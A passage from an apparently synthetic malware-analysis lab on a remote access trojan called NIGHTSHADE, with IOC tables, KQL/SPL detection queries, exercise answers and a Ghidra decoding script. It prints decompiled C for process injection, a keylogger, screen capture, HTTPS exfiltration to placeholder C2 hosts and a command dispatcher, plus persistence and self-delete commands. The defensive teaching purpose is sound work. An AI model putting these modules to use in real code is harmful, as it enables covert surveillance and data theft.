    L"/tr \"C:\\Users\\%%USERNAME%%\\AppData\\Local\\Adobe\\AdobeUpdate.exe\" "
    L"/sc onlogon /rl highest /f");
CreateProcessW(NULL, szCmd, ...);

3.6 Complete IOC Table

IOC Type Value Context
SHA256 a1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f60718293a4b5c6d7e8f90 NIGHTSHADE binary
SHA1 a1b2c3d4e5f6071829aabbccddeeff0011223344 NIGHTSHADE binary
MD5 a1b2c3d4e5f6071829304050 NIGHTSHADE binary
Domain update.sentinel-c2.example.com Primary C2
Domain backup.nightshade.example.com Secondary C2
IP 192.0.2.100 Fallback C2
IP 198.51.100.5 Fallback C2
IP 203.0.113.57 Fallback C2
Port 443, 8443 C2 communication ports
Mutex Global\NDS_MTX_7F3A9B21 Single-instance lock
Registry Key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeReaderAutoUpdate Persistence
File Path C:\Users\<user>\AppData\Local\Adobe\AdobeUpdate.exe Installed binary
File Path %TEMP%\nds_keylog.dat Keylogger output
File Path %TEMP%\nds_screen_<n>.bmp Screen captures
File Path %TEMP%\NDS_EXFIL_<n>.tmp Staged exfil data
Scheduled Task AdobeReaderUpdate Persistence task
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 C2 HTTP header
URI /api/v2/check C2 beacon endpoint
URI /api/v2/upload C2 exfil endpoint
URI /api/v2/task C2 tasking endpoint
Campaign ID EMERALD-2026-Q1-SD Campaign identifier
XOR Key 0x5A String decryption key
Kill Date 2026-06-30 Auto-uninstall date

3.7 Detection Queries — IOC-Based

KQL — Detect NIGHTSHADE C2 communication:

// KQL: Detect NIGHTSHADE C2 domains and IPs
let nightshade_domains = dynamic([
    "update.sentinel-c2.example.com",
    "backup.nightshade.example.com"
]);
let nightshade_ips = dynamic([
    "192.0.2.100", "198.51.100.5", "203.0.113.57"
]);
DeviceNetworkEvents
| where RemoteUrl has_any (nightshade_domains)
    or RemoteIP in (nightshade_ips)
| project Timestamp, DeviceName, InitiatingProcessFileName,
          RemoteUrl, RemoteIP, RemotePort, LocalPort
| sort by Timestamp desc

KQL — Detect NIGHTSHADE persistence artifacts:

// KQL: Detect NIGHTSHADE registry persistence
DeviceRegistryEvents
| where ActionType == "RegistryValueSet"
| where RegistryKey has "CurrentVersion\\Run"
| where RegistryValueName == "AdobeReaderAutoUpdate"
    or RegistryValueData has "AdobeUpdate.exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueName,
          RegistryValueData, InitiatingProcessFileName

SPL — Detect NIGHTSHADE staging files:

index=endpoint sourcetype=sysmon EventCode=11
| where match(TargetFilename, "(?i)nds_(keylog|screen|exfil)")
| eval file_type=case(
    match(TargetFilename, "keylog"), "Keylogger Output",
    match(TargetFilename, "screen"), "Screen Capture",
    match(TargetFilename, "exfil"), "Staged Exfiltration",
    true(), "Unknown"
)
| stats count by Computer, file_type, TargetFilename, Image
| sort -count

SPL — Detect NIGHTSHADE C2 beacon pattern:

index=proxy sourcetype=squid OR sourcetype=bluecoat
| where (url="*/api/v2/check*" OR url="*/api/v2/upload*" OR url="*/api/v2/task*")
| where (dest="192.0.2.100" OR dest="198.51.100.5" OR dest="203.0.113.57"
         OR dest="update.sentinel-c2.example.com"
         OR dest="backup.nightshade.example.com")
| stats count dc(src) as unique_sources by dest, url, http_method
| sort -count

Exercise 3 Questions

Q3.1: Why would the malware developer leave the version string ('NIGHTSHADE v2.1 | Build 0314') in the binary?

Answer: Several possibilities:

  1. Development oversight — the developer forgot to strip debug strings from the release build. This is common in malware where the development process lacks QA rigor.
  2. Internal tracking — the developer (or malware-as-a-service operator) uses version strings to track which build is deployed to which victim, for troubleshooting and feature management.
  3. Pride/branding — some threat actors intentionally name and brand their tools, viewing them as products. This is seen in groups like APT28 (X-Agent) and Lazarus (FALLCHILL).
  4. False flag potential — the string could be planted to mislead attribution, pointing analysts toward a specific actor while the real operator is different.

For defenders, this string is a high-confidence IOC for YARA rules and file scanning.

Q3.2: What is the operational significance of the 'kill date' (2026-06-30) in the C2 configuration?

Answer: The kill date instructs the malware to automatically uninstall itself after June 30, 2026. This serves several operational purposes:

  1. Operational security — limits the window of exposure; if the malware is discovered after the kill date, forensic analysis becomes harder as artifacts are cleaned up
  2. Campaign scoping — the attacker has a defined campaign window (approximately 3.5 months from the compile date) to achieve their objectives
  3. Reducing long-term risk — old implants on compromised hosts could be discovered and lead to attribution; self-destruction reduces this risk
  4. Regulatory/legal hedging — some threat actors (particularly nation-state) limit tool persistence to reduce the chance of discovery during routine security audits

For defenders, knowing the kill date is valuable: if the current date is past the kill date, you may need to look for cleanup artifacts rather than active malware presence.

Q3.3: Why does NIGHTSHADE use both domain-based C2 and hardcoded fallback IPs?

Answer: This is a resilient C2 architecture with multiple layers of redundancy:

  1. Primary (domains) — domains are flexible; the operator can change the IP behind the domain via DNS without updating the malware binary
  2. Fallback (IPs) — if domains are sinkholed or DNS is blocked, hardcoded IPs provide a backup communication channel
  3. Operational resilience — even if defenders block domains AND primary IPs, the third fallback IP on a different subnet (203.0.113.57) provides a final option
  4. Different ports (443, 8443) — if standard HTTPS (443) is inspected by a TLS proxy, port 8443 may bypass inspection on some networks

This layered approach is a best practice in offensive tooling and reflects a mature threat actor who anticipates defensive countermeasures.


Exercise 4: API Call Tracing & Behavior Mapping

Objective

Trace the Windows API call sequences used by each NIGHTSHADE module, map them to MITRE ATT&CK techniques, and understand how the RAT's capabilities are implemented at the API level.

4.1 Process Injection Module

Navigate to ProcessInject_Classic at 0x0040B100.

Decompiler Output (Synthetic):

// Ghidra Decompiler Output — SYNTHETIC
// Function: ProcessInject_Classic (FUN_0040B100)
// Technique: Classic CreateRemoteThread Injection (T1055.001)

BOOL ProcessInject_Classic(DWORD dwTargetPID, LPVOID pPayload, SIZE_T szPayload)
{
    HANDLE hProcess;
    LPVOID pRemoteMem;
    HANDLE hThread;
    SIZE_T bytesWritten;

    // Step 1: Open target process with full access
    hProcess = OpenProcess(
        PROCESS_ALL_ACCESS,          // 0x001F0FFF
        FALSE,
        dwTargetPID
    );
    if (hProcess == NULL) return FALSE;

    // Step 2: Allocate RWX memory in target process
    pRemoteMem = VirtualAllocEx(
        hProcess,
        NULL,
        szPayload,
        MEM_COMMIT | MEM_RESERVE,    // 0x00003000
        PAGE_EXECUTE_READWRITE       // 0x40 — RWX
    );
    if (pRemoteMem == NULL) {
        CloseHandle(hProcess);
        return FALSE;
    }

    // Step 3: Write payload to remote process memory
    WriteProcessMemory(
        hProcess,
        pRemoteMem,
        pPayload,
        szPayload,
        &bytesWritten
    );

    // Step 4: Create remote thread to execute payload
    hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)pRemoteMem,
        NULL,
        0,
        NULL
    );
    if (hThread == NULL) {
        VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    // Step 5: Wait for execution and cleanup handles
    WaitForSingleObject(hThread, 5000);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return TRUE;
}

API Call Sequence Diagram:

ProcessInject_Classic
├─1─▶ OpenProcess(PROCESS_ALL_ACCESS, target_pid)
│       └─ Obtains handle to target process
├─2─▶ VirtualAllocEx(hProcess, RWX, payload_size)
│       └─ Allocates executable memory in target
├─3─▶ WriteProcessMemory(hProcess, remote_addr, payload)
│       └─ Copies shellcode/DLL to allocated region
├─4─▶ CreateRemoteThread(hProcess, remote_addr)
│       └─ Starts execution of injected payload
└─5─▶ CloseHandle(hThread), CloseHandle(hProcess)
        └─ Cleanup — reduces forensic footprint

4.2 Keylogger Module

Navigate to Keylogger_Install at 0x00409100.

Decompiler Output (Synthetic):

// Ghidra Decompiler Output — SYNTHETIC
// Function: Keylogger_Install (FUN_00409100)
// Technique: Input Capture — Keylogging (T1056.001)

static HHOOK g_hKeyHook = NULL;
static FILE* g_pLogFile = NULL;

LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    KBDLLHOOKSTRUCT* pKbStruct;
    HWND hForeground;
    char szWindowTitle[256];
    char szKeyName[32];
    DWORD dwTime;

    if (nCode >= 0 && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN))
    {
        pKbStruct = (KBDLLHOOKSTRUCT*)lParam;
        dwTime = pKbStruct->time;

        // Get active window title for context
        hForeground = GetForegroundWindow();
        GetWindowTextA(hForeground, szWindowTitle, 256);

        // Convert virtual key to readable name
        GetKeyNameTextA(pKbStruct->scanCode << 16, szKeyName, 32);

        // Log to file: [timestamp] [window_title] key
        if (g_pLogFile != NULL) {
            fprintf(g_pLogFile, "[%u] [%s] %s (0x%02X)\n",
                    dwTime, szWindowTitle, szKeyName, pKbStruct->vkCode);
            fflush(g_pLogFile);
        }
    }
    return CallNextHookEx(g_hKeyHook, nCode, wParam, lParam);
}

BOOL Keylogger_Install(void)
{
    char szLogPath[MAX_PATH];

    // Create log file in TEMP directory
    ExpandEnvironmentStringsA("%TEMP%\\nds_keylog.dat", szLogPath, MAX_PATH);
    g_pLogFile = fopen(szLogPath, "ab");   // Append mode
    if (g_pLogFile == NULL) return FALSE;

    // Install low-level keyboard hook
    g_hKeyHook = SetWindowsHookExW(
        WH_KEYBOARD_LL,              // Hook type: Low-level keyboard
        KeyboardHookProc,            // Callback function
        GetModuleHandleW(NULL),      // Module handle
        0                            // Thread ID: 0 = all threads
    );

    return (g_hKeyHook != NULL);
}

4.3 Screen Capture Module

Navigate to ScreenCapture at 0x00409800.

Decompiler Output (Synthetic):

// Ghidra Decompiler Output — SYNTHETIC
// Function: ScreenCapture (FUN_00409800)
// Technique: Screen Capture (T1113)

BOOL ScreenCapture(int iCaptureIndex)
{
    HDC hdcScreen, hdcMem;
    HBITMAP hBitmap;
    int nWidth, nHeight;
    char szFilePath[MAX_PATH];
    BITMAPINFOHEADER bmpInfo;

    // Get screen dimensions
    nWidth = GetSystemMetrics(SM_CXSCREEN);
    nHeight = GetSystemMetrics(SM_CYSCREEN);

    // Create compatible DC and bitmap
    hdcScreen = GetDC(GetDesktopWindow());
    hdcMem = CreateCompatibleDC(hdcScreen);
    hBitmap = CreateCompatibleBitmap(hdcScreen, nWidth, nHeight);
    SelectObject(hdcMem, hBitmap);

    // Capture screen contents via BitBlt
    BitBlt(hdcMem, 0, 0, nWidth, nHeight,
           hdcScreen, 0, 0, SRCCOPY);

    // Save to temp file
    _snprintf(szFilePath, MAX_PATH,
              "%s\\nds_screen_%d.bmp",
              getenv("TEMP"), iCaptureIndex);

    // Write BMP file (header + pixel data)
    FUN_00409A00(szFilePath, hBitmap, &bmpInfo);  // BMP writer helper

    // Cleanup GDI objects
    DeleteObject(hBitmap);
    DeleteDC(hdcMem);
    ReleaseDC(GetDesktopWindow(), hdcScreen);

    return TRUE;
}

4.4 C2 Communication Module

Navigate to C2_BeaconInit at 0x00406800 and C2_SendData at 0x00407200.

Decompiler Output (Synthetic):

// Ghidra Decompiler Output — SYNTHETIC
// Function: C2_BeaconInit (FUN_00406800)
// Technique: Application Layer Protocol — Web (T1071.001)

typedef struct _C2_CONFIG {
    char szPrimaryDomain[256];
    char szSecondaryDomain[256];
    char szFallbackIP[3][64];
    DWORD dwBeaconInterval;
    DWORD dwJitter;
    char szUserAgent[512];
    BYTE bAESKey[32];
    char szCampaignID[64];
} C2_CONFIG;

static C2_CONFIG g_C2Config;

BOOL C2_BeaconInit(void)
{
    HINTERNET hInternet;
    BOOL bConnected = FALSE;

    // Initialize WinINet
    hInternet = InternetOpenW(
        L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        INTERNET_OPEN_TYPE_PRECONFIG,
        NULL, NULL, 0
    );
    if (hInternet == NULL) return FALSE;

    // Try primary C2 domain
    bConnected = FUN_004068A0(hInternet, g_C2Config.szPrimaryDomain, 443);
    if (bConnected) return TRUE;

    // Try secondary C2 domain
    bConnected = FUN_004068A0(hInternet, g_C2Config.szSecondaryDomain, 8443);
    if (bConnected) return TRUE;

    // Try fallback IPs
    for (int i = 0; i < 3; i++) {
        bConnected = FUN_004068A0(hInternet, g_C2Config.szFallbackIP[i], 443);
        if (bConnected) return TRUE;
    }

    InternetCloseHandle(hInternet);
    return FALSE;  // All C2 channels failed
}

// C2 Data Exfiltration
BOOL C2_SendData(BYTE* pData, DWORD dwDataLen, char* szEndpoint)
{
    HINTERNET hConnect, hRequest;
    BYTE* pEncrypted;
    DWORD dwEncLen;
    char szURI[512];

    // Encrypt data with AES-256 before transmission
    pEncrypted = FUN_0040C500(pData, dwDataLen, g_C2Config.bAESKey, &dwEncLen);
    if (pEncrypted == NULL) return FALSE;

    // Build URI: /api/v2/upload?cid=EMERALD-2026-Q1-SD
    _snprintf(szURI, 512, "%s?cid=%s", szEndpoint, g_C2Config.szCampaignID);

    // Connect and send via HTTPS POST
    hConnect = InternetConnectW(g_hInternet,
        g_C2Config.szPrimaryDomain, 443,
        NULL, NULL,
        INTERNET_SERVICE_HTTP, 0, 0);

    hRequest = HttpOpenRequestW(hConnect,
        L"POST", szURI, NULL, NULL, NULL,
        INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE, 0);

    HttpSendRequestW(hRequest,
        L"Content-Type: application/octet-stream\r\n", -1,
        pEncrypted, dwEncLen);

    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    free(pEncrypted);

    return TRUE;
}

4.5 RAT Command Dispatcher

Navigate to RAT_CommandDispatcher at 0x00408000.

Decompiler Output (Synthetic):

// Ghidra Decompiler Output — SYNTHETIC
// Function: RAT_CommandDispatcher (FUN_00408000)
// This is the main command loop

void RAT_CommandDispatcher(HANDLE hMutex)
{
    BYTE* pCmdBuffer;
    DWORD dwCmdLen;
    BYTE bCmdType;
    int iScreenIdx = 0;

    while (TRUE)
    {
        // Sleep with jitter (beacon interval ± random offset)
        Sleep(g_C2Config.dwBeaconInterval * 1000
              + (rand() % (g_C2Config.dwJitter * 1000)));

        // Check in with C2 and receive command
        pCmdBuffer = C2_RecvCommand(&dwCmdLen);
        if (pCmdBuffer == NULL || dwCmdLen == 0) continue;

        bCmdType = pCmdBuffer[0];   // First byte = command type

        switch (bCmdType)
        {
            case 0x01:  // KEYLOG_START
                Keylogger_Install();
                break;

            case 0x02:  // KEYLOG_STOP
                Keylogger_Uninstall();
                break;

            case 0x03:  // KEYLOG_RETRIEVE
                FUN_00409500();  // Read and exfil keylog data
                break;

            case 0x04:  // SCREENSHOT
                ScreenCapture(iScreenIdx++);
                FUN_0040A800(iScreenIdx - 1);  // Upload screenshot
                break;

            case 0x05:  // CMD_EXEC
                FUN_0040B500((char*)(pCmdBuffer + 1));  // Execute command
                break;

            case 0x06:  // FILE_DOWNLOAD (from victim)
                FileExfil_Stage((char*)(pCmdBuffer + 1));
                break;

            case 0x07:  // FILE_UPLOAD (to victim)
                FUN_0040A500(pCmdBuffer + 1, dwCmdLen - 1);
                break;

            case 0x08:  // PROCESS_LIST
                FUN_0040B800();  // Enumerate and report processes
                break;

            case 0x09:  // INJECT
                ProcessInject_Classic(
                    *(DWORD*)(pCmdBuffer + 1),    // Target PID
                    pCmdBuffer + 5,                // Payload
                    dwCmdLen - 5                   // Payload size
                );
                break;

            case 0x0A:  // PERSIST_UPDATE
                FUN_00405000();  // Re-install persistence
                break;

            case 0x0B:  // SELF_DESTRUCT
                FUN_0040D000(hMutex);  // Remove all artifacts and exit
                return;

            case 0xFF:  // NOP / HEARTBEAT
                break;

            default:
                break;
        }

        free(pCmdBuffer);
    }
}

Command Protocol Summary:

Cmd Byte Name Description ATT&CK
0x01 KEYLOG_START Install keyboard hook T1056.001
0x02 KEYLOG_STOP Remove keyboard hook
0x03 KEYLOG_RETRIEVE Exfil keylog data T1041
0x04 SCREENSHOT Capture and exfil screenshot T1113
0x05 CMD_EXEC Execute shell command T1059.003
0x06 FILE_DOWNLOAD Stage and exfil file from victim T1041, T1074.001
0x07 FILE_UPLOAD Upload file to victim T1105
0x08 PROCESS_LIST Enumerate running processes T1057
0x09 INJECT Inject payload into process T1055.001
0x0A PERSIST_UPDATE Re-apply persistence T1547.001
0x0B SELF_DESTRUCT Remove artifacts and exit T1070.004
0xFF NOP Heartbeat / no operation

4.6 Complete ATT&CK Mapping

Tactic Technique ID Technique Name NIGHTSHADE Function
Execution T1059.003 Windows Command Shell CMD_EXEC (0x05)
Persistence T1547.001 Registry Run Keys / Startup Folder InstallPersistence
Persistence T1053.005 Scheduled Task InstallPersistence (fallback)
Privilege Escalation T1055.001 DLL Injection (CreateRemoteThread) ProcessInject_Classic
Defense Evasion T1036.005 Match Legitimate Name Filename mimics Adobe
Defense Evasion T1140 Deobfuscate/Decode XOR_Decode, DecryptConfig_Ndata
Defense Evasion T1497.001 System Checks (Anti-Debug) AntiDebug_Check
Defense Evasion T1070.004 File Deletion SELF_DESTRUCT (0x0B)
Credential Access T1056.001 Keylogging Keylogger_Install
Discovery T1082 System Information Discovery SystemFingerprint
Discovery T1057 Process Discovery PROCESS_LIST (0x08)
Discovery T1010 Application Window Discovery GetForegroundWindow in keylogger
Collection T1113 Screen Capture ScreenCapture
Collection T1074.001 Local Data Staging FileExfil_Stage
Command and Control T1071.001 Web Protocols (HTTPS) C2_BeaconInit, C2_SendData
Command and Control T1573.001 Symmetric Cryptography (AES-256) AES encryption before exfil
Command and Control T1008 Fallback Channels Multiple C2 domains + IPs
Command and Control T1105 Ingress Tool Transfer FILE_UPLOAD (0x07)
Exfiltration T1041 Exfiltration Over C2 Channel C2_SendData

Cross-Reference

For detailed ATT&CK technique descriptions and additional detection queries, see the ATT&CK Technique Reference and Detection Query Library.

4.7 Detection Queries — Behavioral

KQL — Detect classic process injection pattern:

// KQL: Detect OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread
DeviceEvents
| where ActionType in ("OpenProcessCall", "VirtualAllocCall",
                        "WriteProcessMemoryCall", "CreateRemoteThreadCall")
| where InitiatingProcessFileName !in ("svchost.exe", "csrss.exe", "lsass.exe")
| summarize InjectionSteps = make_set(ActionType),
            StepCount = dcount(ActionType)
    by DeviceName, InitiatingProcessFileName, InitiatingProcessId,
       bin(Timestamp, 5s)
| where StepCount >= 3
| project Timestamp, DeviceName, InitiatingProcessFileName, InjectionSteps

KQL — Detect keylogger hook installation:

// KQL: Detect SetWindowsHookEx with WH_KEYBOARD_LL
DeviceEvents
| where ActionType == "SetWindowsHookExCall"
| where AdditionalFields has "WH_KEYBOARD_LL" or AdditionalFields has "13"
| where InitiatingProcessFileName !in ("explorer.exe", "RuntimeBroker.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessCommandLine, AdditionalFields

KQL — Detect screen capture via GDI APIs:

// KQL: Detect screen capture followed by file creation in temp
DeviceFileEvents
| where ActionType == "FileCreated"
| where FolderPath has "Temp"
| where FileName endswith ".bmp" or FileName endswith ".png" or FileName endswith ".jpg"
| where InitiatingProcessFileName !in ("mspaint.exe", "SnippingTool.exe",
                                        "ScreenSketch.exe", "Teams.exe")
| project Timestamp, DeviceName, FileName, FolderPath,
          InitiatingProcessFileName, FileSize

SPL — Detect process injection via Sysmon:

index=endpoint sourcetype=sysmon
(EventCode=8 OR EventCode=10)
| eval injection_indicator=case(
    EventCode=8, "CreateRemoteThread",
    EventCode=10 AND match(GrantedAccess, "0x1F0FFF"), "OpenProcess_FULL_ACCESS",
    true(), "Other"
)
| where injection_indicator!="Other"
| stats count values(injection_indicator) as indicators
    by Computer, SourceImage, TargetImage
| where count >= 2
| sort -count

SPL — Detect scheduled task creation for persistence:

index=endpoint sourcetype=sysmon EventCode=1
| where match(CommandLine, "(?i)schtasks.*/create")
| where match(CommandLine, "(?i)(onlogon|onstart|daily)")
| where NOT match(ParentImage, "(?i)(msiexec|setup|install)")
| eval task_name=replace(CommandLine, ".*\/tn\s+\"?([^\"]+)\"?.*", "\1")
| stats count by Computer, task_name, CommandLine, ParentImage, Image
| sort -count

Exercise 4 Questions

Q4.1: In the process injection routine, why does the malware use PROCESS_ALL_ACCESS instead of the minimum required permissions?

Answer: PROCESS_ALL_ACCESS (0x001F0FFF) grants every possible process permission. While functional, this is a poor OPSEC choice by the malware author because:

  1. Detection opportunity — security tools specifically flag OpenProcess calls with PROCESS_ALL_ACCESS as suspicious; the minimum permissions needed are PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD (0x002A)
  2. Lazy coding — using ALL_ACCESS is a common shortcut in malware development, indicating potentially less sophisticated development practices
  3. Sysmon detection — Sysmon Event ID 10 (ProcessAccess) logs the GrantedAccess mask; 0x1F0FFF is a well-known detection signature

More sophisticated malware uses the minimum required access rights to avoid triggering behavioral detections.

Q4.2: Explain the beacon jitter mechanism and its purpose.

Answer: The beacon jitter is implemented as:

Sleep(BeaconInterval * 1000 + (rand() % (Jitter * 1000)))
With BeaconInterval = 300 and Jitter = 60, this means the malware beacons every 300 to 360 seconds (5 to 6 minutes). The jitter serves several purposes:

  1. Evade frequency analysis — a perfectly regular 300-second beacon interval is trivially detectable with statistical analysis of network logs; the random offset makes the pattern less obvious
  2. Blend with legitimate traffic — real application updates and telemetry have natural timing variation; fixed intervals look mechanical and suspicious
  3. Avoid synchronized beacons — if multiple hosts are compromised, jitter prevents all beacons from arriving at the C2 server simultaneously, which could trigger volumetric alerts
Q4.3: Map the SELF_DESTRUCT command (0x0B) to ATT&CK and explain what artifacts it likely removes.

Answer: The SELF_DESTRUCT command maps to T1070.004 — Indicator Removal: File Deletion and likely performs:

  1. Remove persistence — delete the registry Run key (AdobeReaderAutoUpdate) and scheduled task (AdobeReaderUpdate)
  2. Delete staged data — remove %TEMP%\nds_keylog.dat, %TEMP%\nds_screen_*.bmp, %TEMP%\NDS_EXFIL_*.tmp
  3. Delete the binary — remove AppData\Local\Adobe\AdobeUpdate.exe
  4. Release the mutex — close the Global\NDS_MTX_7F3A9B21 handle
  5. Self-delete — likely uses a batch file or cmd.exe /c ping -n 3 127.0.0.1 && del trick to delete the running executable after process exit
  6. Clear event log entries — may attempt to clear Security or Sysmon logs (T1070.001)

However, artifacts that likely survive cleanup include: Prefetch files (ADOBEUPDATE.EXE-*.pf), NTFS journal entries, memory forensic artifacts (if captured before cleanup), and proxy/firewall logs of C2 communications.


Exercise 5: Deobfuscation & Final Report

Objective

Perform comprehensive deobfuscation of NIGHTSHADE's string encryption, reconstruct the full operational picture, and produce a structured malware analysis report suitable for threat intelligence sharing.

5.1 Ghidra Scripting for Batch XOR Decryption

Ghidra supports Java and Python (Jython) scripts. The following script automates XOR decryption of all encoded strings in the .ndata section.

Ghidra Script — NIGHTSHADE_XOR_Decrypt.py (Synthetic/Educational):

# Ghidra Script: NIGHTSHADE XOR String Decryption
# Language: Jython (Ghidra's Python environment)
# Purpose: Decrypt XOR-encoded strings in .ndata section
# WARNING: This script is SYNTHETIC and for educational purposes only

from ghidra.program.model.mem import MemoryAccessException

XOR_KEY = 0x5A
SECTION_NAME = ".ndata"
MIN_STRING_LEN = 4

def find_ndata_section():
    """Locate the .ndata memory block."""
    for block in currentProgram.getMemory().getBlocks():
        if block.getName() == SECTION_NAME:
            return block
    return None

def xor_decode(data, key):
    """XOR decode a byte array with a single-byte key."""
    return bytes([b ^ key for b in data])

def is_printable(data):
    """Check if decoded data contains printable ASCII."""
    return all(0x20 <= b <= 0x7E for b in data)

def find_and_decode_strings(block):
    """Scan the block for XOR-encoded strings."""
    start = block.getStart()
    end = block.getEnd()
    size = end.subtract(start) + 1

    print("=" * 60)
    print("NIGHTSHADE XOR String Decryption Results")
    print("Section: {} | Key: 0x{:02X}".format(SECTION_NAME, XOR_KEY))
    print("Range: {} - {}".format(start, end))
    print("=" * 60)

    raw_bytes = bytearray(size)
    block.getBytes(start, raw_bytes)

    # Slide through memory looking for encoded strings
    results = []
    i = 0
    while i < len(raw_bytes):
        # Try decoding from this offset
        candidate = bytearray()
        j = i
        while j < len(raw_bytes):
            decoded_byte = raw_bytes[j] ^ XOR_KEY
            if decoded_byte == 0x00:  # Null terminator
                break
            if not (0x20 <= decoded_byte <= 0x7E):
                break
            candidate.append(decoded_byte)
            j += 1

        if len(candidate) >= MIN_STRING_LEN:
            addr = start.add(i)
            decoded_str = candidate.decode('ascii', errors='replace')
            results.append((addr, decoded_str))
            print("[0x{}] {}".format(addr, decoded_str))
            # Add comment in Ghidra listing
            setPreComment(addr, "XOR Decoded (0x5A): " + decoded_str)
            i = j + 1
        else:
            i += 1

    print("\n" + "=" * 60)
    print("Total decoded strings: {}".format(len(results)))
    print("=" * 60)
    return results

# Main execution
block = find_ndata_section()
if block is not None:
    results = find_and_decode_strings(block)
else:
    print("ERROR: .ndata section not found!")

Running the Script

In Ghidra: Window → Script Manager → New Script → Python. Paste the script, save as NIGHTSHADE_XOR_Decrypt.py, and click the green "Run" button. Decoded strings will appear in the console output and as pre-comments in the Listing view.

5.2 Stack String Reconstruction

Some strings are built character-by-character on the stack to avoid appearing in the strings table. Ghidra's decompiler usually reconstructs these automatically.

Example: Stack String in AntiDebug Process Check (Synthetic):

; Building "ollydbg.exe" on the stack (anti-debug process check)
; Address: 0x004021C0

MOV     BYTE [EBP-0x20], 0x6F    ; 'o'
MOV     BYTE [EBP-0x1F], 0x6C    ; 'l'
MOV     BYTE [EBP-0x1E], 0x6C    ; 'l'
MOV     BYTE [EBP-0x1D], 0x79    ; 'y'
MOV     BYTE [EBP-0x1C], 0x64    ; 'd'
MOV     BYTE [EBP-0x1B], 0x62    ; 'b'
MOV     BYTE [EBP-0x1A], 0x67    ; 'g'
MOV     BYTE [EBP-0x19], 0x2E    ; '.'
MOV     BYTE [EBP-0x18], 0x65    ; 'e'
MOV     BYTE [EBP-0x17], 0x78    ; 'x'
MOV     BYTE [EBP-0x16], 0x65    ; 'e'
MOV     BYTE [EBP-0x15], 0x00    ; null terminator
; Result: "ollydbg.exe"

Ghidra Decompiler View (same function):

// Ghidra reconstructs stack strings automatically:
char local_20[12];
local_20[0] = 'o';
local_20[1] = 'l';
local_20[2] = 'l';
local_20[3] = 'y';
local_20[4] = 'd';
local_20[5] = 'b';
local_20[6] = 'g';
local_20[7] = '.';
local_20[8] = 'e';
local_20[9] = 'x';
local_20[10] = 'e';
local_20[11] = '\0';

// Check if process exists
if (FUN_004022A0(local_20) != 0) return TRUE;

All Stack Strings Recovered from Anti-Debug Function (Synthetic):

Address Stack String Purpose
0x004021C0 ollydbg.exe OllyDbg debugger
0x004021F0 x64dbg.exe x64dbg debugger
0x00402220 ida.exe IDA Pro
0x00402240 ida64.exe IDA Pro (64-bit)
0x00402260 ghidra.exe Ghidra (NSA)
0x00402280 procmon.exe Process Monitor
0x004022A0 wireshark.exe Network capture
0x004022C0 fiddler.exe HTTP debugger
0x004022E0 dnSpy.exe .NET decompiler
0x00402300 pestudio.exe PE analysis

5.3 Configuration Structure Reconstruction

Combining all decoded strings and analyzed structures, reconstruct the full NIGHTSHADE configuration:

┌───────────────────────────────────────────────────────────┐
│           NIGHTSHADE RAT v2.1 — Full Configuration       │
├───────────────────────────────────────────────────────────┤
│                                                           │
│  [Identity]                                               │
│  Family:        NIGHTSHADE                                │
│  Version:       2.1                                       │
│  Build:         0314 (2026-03-14)                         │
│  Campaign:      EMERALD-2026-Q1-SD                        │
│  Target:        Sentinel Dynamics                         │
│  Kill Date:     2026-06-30                                │
│                                                           │
│  [C2 Infrastructure]                                      │
│  Primary:       update.sentinel-c2.example.com:443        │
│  Secondary:     backup.nightshade.example.com:8443        │
│  Fallback 1:    192.0.2.100:443                           │
│  Fallback 2:    198.51.100.5:8443                         │
│  Fallback 3:    203.0.113.57:443                          │
│  Protocol:      HTTPS (POST)                              │
│  Beacon:        300s ± 60s jitter                         │
│  User-Agent:    Mozilla/5.0 (Win NT 10.0; x64)           │
│                                                           │
│  [Encryption]                                             │
│  String Enc:    XOR (key: 0x5A)                           │
│  C2 Enc:        AES-256-CBC                               │
│  AES Key:       a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6         │
│                 e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2         │
│                                                           │
│  [Persistence]                                            │
│  Method 1:      Registry Run Key                          │
│    Key:         HKCU\...\Run\AdobeReaderAutoUpdate        │
│    Binary:      %LOCALAPPDATA%\Adobe\AdobeUpdate.exe      │
│  Method 2:      Scheduled Task (onlogon)                  │
│    Name:        AdobeReaderUpdate                         │
│                                                           │
│  [Capabilities]                                           │
│  Commands:      12 (0x01-0x0B, 0xFF)                      │
│  Features:      Keylogger, Screen Capture, File Exfil,    │
│                 Cmd Exec, Process Injection, Self-Destruct│
│                                                           │
│  [Anti-Analysis]                                          │
│  Checks:        IsDebuggerPresent, PEB.BeingDebugged,     │
│                 Timing (GetTickCount), Process Enum        │
│  Decoy:         Opens calc.exe on debug detection         │
│  Mutex:         Global\NDS_MTX_7F3A9B21                   │
│                                                           │
│  [Evasion]                                                │
│  File Name:     AdobeReaderUpdate_v23.1.exe               │
│  Install Name:  AdobeUpdate.exe                           │
│  Technique:     Brand impersonation (Adobe)               │
│                                                           │
└───────────────────────────────────────────────────────────┘

5.4 YARA Rule

Based on the analysis, create a detection rule for NIGHTSHADE:

/*
    YARA Rule: NIGHTSHADE RAT v2.x
    Author: Sentinel Dynamics DFIR Team (SYNTHETIC)
    Date: 2026-03-18
    Description: Detects NIGHTSHADE RAT family based on
                 strings, structure, and behavioral indicators.
    Reference: Lab 19 — Nexus SecOps
    NOTE: ALL indicators are SYNTHETIC — for educational use only.
*/

rule NIGHTSHADE_RAT_v2 {
    meta:
        description = "Detects NIGHTSHADE RAT v2.x family"
